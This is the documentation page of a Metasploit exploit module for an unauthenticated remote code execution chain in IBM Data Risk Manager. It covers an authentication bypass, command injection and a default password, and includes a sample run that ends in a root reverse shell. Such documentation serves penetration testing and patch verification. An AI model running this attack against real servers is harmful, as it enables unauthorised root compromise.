## Vulnerable Application

IBM Data Risk Manager (IDRM) contains three vulnerabilities that can be chained by an unauthenticated attacker to achieve remote code execution as root.
The first is an unauthenticated bypass, followed by a command injection as the server user, and finally abuse of an insecure default password.
This module exploits all three vulnerabilities, giving the attacker a root shell.
At the time of disclosure this was an 0day, but it was later confirmed and patched by IBM. The authentication bypass works on versions <= 2.0.6.1,
but the command injection should only work on versions <= 2.0.4 according to IBM.


### Vulnerability information
For more information about the vulnerability check the advisory at:
https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm\_drm/ibm\_drm\_rce.md

### Setup

The application is available to download as a Linux virtual appliance from IBM's website. You need to have a valid IBM contract to be able to do so.

## Verification Steps

Module defaults work very well, you should just need to set `RHOSTS` and `LHOST`.

## Scenarios


## Scenarios

A successful exploit will look like this:


```
msf exploit(linux/http/ibm_drm_unauth_rce) > run

[*] Started reverse TCP handler on 10.9.8.1:4444
[+] 10.9.8.213:8443 - Successfully "stickied" our session ID JQElTQxh
[+] 10.9.8.213:8443 - We have obtained a new admin password 28010e88-6ffb-46e9-90d6-2ded732120d1
[+] 10.9.8.213:8443 - ... and are authenticated as an admin!
[*] 10.9.8.213:8443 - Detected IBM Data Risk Manager version 2.0.2 or above
[+] 10.9.8.213:8443 - We have uploaded our payload...
[+] 10.9.8.213:8443 - and our nmap script file!
[+] 10.9.8.213:8443 - Bearer token 1b78100c-cf42-47fd-b64d-d36c07f1f934 obtained, wait for the final step where we invoke nmap...
[+] 10.9.8.213:8443 - Shell incoming!
[*] Command shell session 2 opened (10.9.8.1:4444 -> 10.9.8.213:57136) at 2020-04-21 15:46:29 +0700

whoami
root
uname -a
Linux idrm-server.ibm.com 3.10.0-862.3.2.el7.x86_64 #1 SMP Tue May 15 18:22:15 EDT 2018 x86_64 x86_64 x86_64 GNU/Linux
```
